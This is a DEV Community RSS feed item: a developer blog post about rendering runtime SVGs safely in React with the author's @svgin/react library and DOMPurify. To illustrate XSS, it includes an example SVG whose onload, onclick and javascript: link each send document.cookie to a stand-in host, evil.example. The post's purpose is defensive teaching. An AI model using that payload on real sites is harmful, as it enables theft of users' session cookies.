<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Akhil K</title>
    <description>The latest articles on DEV Community by Akhil K (@akhiakl).</description>
    <link>https://dev.to/akhiakl</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4109941%2Fd204b0ec-3098-41b7-9cfc-5d7571659be2.png</url>
      <title>DEV Community: Akhil K</title>
      <link>https://dev.to/akhiakl</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/akhiakl"/>
    <language>en</language>
    <item>
      <title>How svgin-react renders SVGs as real, styleable elements without the XSS risk</title>
      <dc:creator>Akhil K</dc:creator>
      <pubDate>Fri, 04 Sep 2026 18:01:35 +0000</pubDate>
      <link>https://dev.to/akhiakl/how-svgin-react-renders-svgs-as-real-styleable-elements-without-the-xss-risk-2hod</link>
      <guid>https://dev.to/akhiakl/how-svgin-react-renders-svgs-as-real-styleable-elements-without-the-xss-risk-2hod</guid>
      <description>&lt;p&gt;Say you're fetching an SVG from somewhere you don't fully control. A CMS field, a user upload, an API response. Is it safe to render?&lt;/p&gt;

&lt;p&gt;Most people never actually think about this until it bites them, because "SVG" sounds like an image format, not something that can run code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The img tag is fine
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;cmsIconUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is safe. When a browser loads an SVG through &lt;code&gt;img&lt;/code&gt;, it treats it purely as an image resource. No &lt;code&gt;script&lt;/code&gt; tags run, no &lt;code&gt;onload&lt;/code&gt; or &lt;code&gt;onclick&lt;/code&gt; fires, nothing navigates. You can point this at genuinely untrusted content and nothing executes.&lt;/p&gt;

&lt;p&gt;The problem is you can't style it. No &lt;code&gt;fill: currentColor&lt;/code&gt; to pick up your theme, no hover states, no animating a path, no reaching into an inner &lt;code&gt;circle&lt;/code&gt; with CSS. It's just a box as far as your stylesheet is concerned, even though the SVG underneath is literally just text.&lt;/p&gt;

&lt;h2&gt;
  
  
  Styling it means putting it in the DOM, and that's where things change
&lt;/h2&gt;

&lt;p&gt;To actually style an SVG, the markup has to be real elements in the page, not a referenced image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Icon&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second you do this, all the safety from the img case is gone. This is now the same as dumping arbitrary HTML into your page.&lt;/p&gt;

&lt;p&gt;A totally normal-looking "icon" can carry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://evil.example/steal?c=' + document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;rect&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://evil.example/steal?c=' + document.cookie)"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"javascript:fetch('https://evil.example/steal?c=' + document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;text&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;"20"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Click for details&lt;span class="nt"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;onload&lt;/code&gt; can fire when the SVG mounts. &lt;code&gt;onclick&lt;/code&gt; and other handlers can fire on interaction like they would anywhere else in the DOM. A &lt;code&gt;javascript:&lt;/code&gt; URI can run when someone clicks through an &lt;code&gt;a&lt;/code&gt; tag, same as regular HTML.&lt;/p&gt;

&lt;p&gt;One thing that trips people up in the other direction: a plain &lt;code&gt;script&lt;/code&gt; tag set via &lt;code&gt;innerHTML&lt;/code&gt; or &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; will not run on its own. Browsers deliberately neuter script elements inserted that way.&lt;/p&gt;

&lt;p&gt;That's true, but don't treat it as a safety net. It only covers that one tag and does nothing for the handlers and URIs above, which are the actual exposure.&lt;/p&gt;

&lt;p&gt;That's why sanitizers strip &lt;code&gt;script&lt;/code&gt; anyway instead of relying on browser behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing it isn't hard, it's just easy to forget
&lt;/h2&gt;

&lt;p&gt;Sanitize before anything touches the DOM.&lt;/p&gt;

&lt;p&gt;Strip &lt;code&gt;script&lt;/code&gt;, strip event handler attributes, strip dangerous URLs, keep the drawing instructions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; already does this well and supports SVG:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dompurify&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dirtySvg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;USE_PROFILES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;svgFilters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's most of the actual fix.&lt;/p&gt;

&lt;p&gt;What's left is doing it every single time, on the client and on any server render path, without ever forgetting, which really just means it has to be the default behavior of whatever fetches and renders the SVG, not a step you have to remember.&lt;/p&gt;

&lt;p&gt;That's why I built &lt;a href="https://github.com/akhiakl/svgin" rel="noopener noreferrer"&gt;&lt;code&gt;@svgin/react&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It's an &lt;code&gt;SvgIn&lt;/code&gt; component that can fetch an SVG from a URL or accept SVG markup directly, sanitize it with DOMPurify by default, and render a real element you can style.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;SvgIn&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@svgin/react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;SvgIn&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/icons/alert.svg"&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"currentColor"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also provide SVG markup directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;SvgIn&lt;/span&gt;
  &lt;span class="na"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;svg viewBox='0 0 24 24'&amp;gt;...&amp;lt;/svg&amp;gt;"&lt;/span&gt;
  &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"currentColor"&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Worth being upfront about what's actually going on under the hood, since it's the same thing this whole post is about.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SvgIn&lt;/code&gt; renders a real &lt;code&gt;svg&lt;/code&gt; element in the DOM, not an &lt;code&gt;img&lt;/code&gt;. It has to. That's the only way &lt;code&gt;fill&lt;/code&gt;, &lt;code&gt;className&lt;/code&gt;, and CSS targeting work at all.&lt;/p&gt;

&lt;p&gt;So it's taking the exact path that needs sanitization to be safe, not the path that's safe by default.&lt;/p&gt;

&lt;p&gt;The basic flow is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SVG URL or markup
       ↓
     Fetch
       ↓
Response validation
       ↓
  Sanitization
       ↓
ID uniquification
       ↓
   Real &amp;lt;svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sanitization runs before the SVG is rendered by default.&lt;/p&gt;

&lt;p&gt;You can explicitly opt out with &lt;code&gt;disableSanitization&lt;/code&gt; or provide your own &lt;code&gt;sanitizeFn&lt;/code&gt;, but those are deliberate escape hatches for content you trust or cases where you control the sanitization yourself.&lt;/p&gt;

&lt;p&gt;Skip sanitization and it's exactly as exposed as any other way of putting untrusted SVG into the DOM.&lt;/p&gt;

&lt;p&gt;There's no magic here, just making sure the step that has to happen actually happens instead of depending on whoever's calling it to remember.&lt;/p&gt;

&lt;h2&gt;
  
  
  Duplicate SVG IDs are another problem
&lt;/h2&gt;

&lt;p&gt;There is another issue that is easy to miss when working with external SVGs.&lt;/p&gt;

&lt;p&gt;SVGs often contain IDs for things like gradients, masks, filters, and clip paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;linearGradient&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"gradient"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  ...
&lt;span class="nt"&gt;&amp;lt;/linearGradient&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;path&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"url(#gradient)"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you render the same SVG multiple times, those IDs can collide with each other.&lt;/p&gt;

&lt;p&gt;That can lead to one SVG instance referencing a definition belonging to another instance.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@svgin/react&lt;/code&gt; can uniquify internal SVG IDs and update references such as &lt;code&gt;url(#gradient)&lt;/code&gt;, &lt;code&gt;href&lt;/code&gt;, and &lt;code&gt;xlink:href&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This means multiple copies of the same SVG can coexist without sharing the same internal IDs.&lt;/p&gt;

&lt;p&gt;There is one limitation worth knowing about. If the SVG contains CSS inside an inline &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element, ID selectors inside that CSS are not rewritten by the ID uniquification step.&lt;/p&gt;

&lt;p&gt;That matters because the SVG's internal IDs may change while a CSS selector inside &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; still refers to the original ID.&lt;/p&gt;

&lt;p&gt;For SVGs that rely heavily on their own styles, the optional Shadow DOM renderer provides a better isolation boundary.&lt;/p&gt;

&lt;h2&gt;
  
  
  What about styles inside the SVG?
&lt;/h2&gt;

&lt;p&gt;An inline &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; inside an SVG rendered in the normal document is not automatically scoped to that SVG.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
  .icon-path {
    fill: red;
  }
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those CSS rules live in the normal document's CSS environment. They are not automatically isolated just because they are inside an SVG.&lt;/p&gt;

&lt;p&gt;Sanitization does not solve this because legitimate SVG styles are not inherently dangerous.&lt;/p&gt;

&lt;p&gt;If you need stronger CSS isolation, &lt;code&gt;@svgin/react&lt;/code&gt; also provides an optional Shadow DOM renderer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;SvgInShadow&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@svgin/react/shadow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;SvgInShadow&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/illustrations/product.svg"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SVG is rendered inside a Shadow DOM, which keeps its styles isolated from the surrounding page.&lt;/p&gt;

&lt;p&gt;This is about style isolation, not security. The SVG should still be sanitized.&lt;/p&gt;

&lt;p&gt;The Shadow DOM renderer is also a separate entry point, so applications that don't use it don't need to pull that feature into their normal import.&lt;/p&gt;

&lt;h2&gt;
  
  
  Animated SVGs still work
&lt;/h2&gt;

&lt;p&gt;Sanitizing an SVG doesn't mean removing everything that makes SVG useful.&lt;/p&gt;

&lt;p&gt;Animations such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;animate&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;animateTransform&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;are timing and interpolation, not JavaScript, so they can still work.&lt;/p&gt;

&lt;p&gt;What gets stripped are dangerous event handlers such as &lt;code&gt;onbegin&lt;/code&gt;, &lt;code&gt;onend&lt;/code&gt;, &lt;code&gt;onrepeat&lt;/code&gt;, &lt;code&gt;onclick&lt;/code&gt;, and &lt;code&gt;onload&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So an animated SVG can still animate while unsafe event-driven code is removed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime SVGs have a few other problems
&lt;/h2&gt;

&lt;p&gt;The core problem is fetching, sanitizing, and rendering runtime SVG safely.&lt;/p&gt;

&lt;p&gt;There are a few other things &lt;code&gt;@svgin/react&lt;/code&gt; handles around that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;React Server Components&lt;/li&gt;
&lt;li&gt;Suspense&lt;/li&gt;
&lt;li&gt;Lazy loading&lt;/li&gt;
&lt;li&gt;Authenticated SVG requests&lt;/li&gt;
&lt;li&gt;Accessibility with titles and descriptions&lt;/li&gt;
&lt;li&gt;SVG caching and preloading&lt;/li&gt;
&lt;li&gt;Request cancellation&lt;/li&gt;
&lt;li&gt;Internal SVG ID handling&lt;/li&gt;
&lt;li&gt;Optional Shadow DOM rendering&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, an authenticated SVG endpoint can be used with fetch options:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;SvgIn&lt;/span&gt;
  &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/api/icon"&lt;/span&gt;
  &lt;span class="na"&gt;fetchOptions&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SVG responses are also checked before they are processed, so an HTML error page returned from an SVG endpoint does not simply get treated as SVG content.&lt;/p&gt;

&lt;p&gt;The package also keeps optional features in separate entry points. You can use the normal component without pulling in Suspense or Shadow DOM functionality that you don't need.&lt;/p&gt;

&lt;h2&gt;
  
  
  What about SVGR?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://react-svgr.com/" rel="noopener noreferrer"&gt;SVGR&lt;/a&gt; is great when the SVGs are part of your source code and can be processed at build time.&lt;/p&gt;

&lt;p&gt;For example, if your project contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/icons/check.svg
src/icons/close.svg
src/icons/menu.svg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you can turn those into React components during the build.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@svgin/react&lt;/code&gt; is solving a different problem.&lt;/p&gt;

&lt;p&gt;The SVG might not exist when your application is built.&lt;/p&gt;

&lt;p&gt;It might come from:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a CMS&lt;/li&gt;
&lt;li&gt;an API&lt;/li&gt;
&lt;li&gt;a database&lt;/li&gt;
&lt;li&gt;a user upload&lt;/li&gt;
&lt;li&gt;an external service&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's where runtime handling becomes useful.&lt;/p&gt;

&lt;p&gt;You don't need to convert every possible SVG into a component ahead of time. You can fetch it when you need it, sanitize it, and render it as a real SVG.&lt;/p&gt;

&lt;h2&gt;
  
  
  The important security rule
&lt;/h2&gt;

&lt;p&gt;Whatever library you use, the actual rule doesn't change:&lt;/p&gt;

&lt;p&gt;If your SVG only ever goes through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;svgUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;alt&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you're relying on the browser's image isolation.&lt;/p&gt;

&lt;p&gt;The second it needs to be inlined for styling, treat it exactly as carefully as you'd treat raw HTML from that same source.&lt;/p&gt;

&lt;p&gt;Because that's what it is.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@svgin/react&lt;/code&gt; makes that safer path the default by sanitizing SVG before rendering it.&lt;/p&gt;

&lt;p&gt;If the SVG is trusted and you have a reason to change that behavior, you can provide a custom sanitizer or explicitly disable sanitization.&lt;/p&gt;

&lt;p&gt;Those should be deliberate decisions.&lt;/p&gt;

&lt;p&gt;The goal isn't to make SVG magically safe.&lt;/p&gt;

&lt;p&gt;The goal is to make the safer default easy to use while still giving you a real, styleable SVG element.&lt;/p&gt;

&lt;p&gt;If all you need is to display an SVG, use &lt;code&gt;img&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you need to work with runtime SVG as a real React element, sanitize it before putting it into the DOM.&lt;/p&gt;

&lt;p&gt;That's the problem &lt;code&gt;@svgin/react&lt;/code&gt; is designed to solve.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svgin.vercel.app/react" rel="noopener noreferrer"&gt;Live demo&lt;/a&gt; — the malicious-payload example lives on the &lt;a href="https://svgin.vercel.app/inspector" rel="noopener noreferrer"&gt;Inspector page&lt;/a&gt; specifically.&lt;/p&gt;

&lt;p&gt;You can load the malicious example and watch exactly what gets stripped, or paste your own SVG and see how it is rendered.&lt;/p&gt;

</description>
      <category>react</category>
      <category>security</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
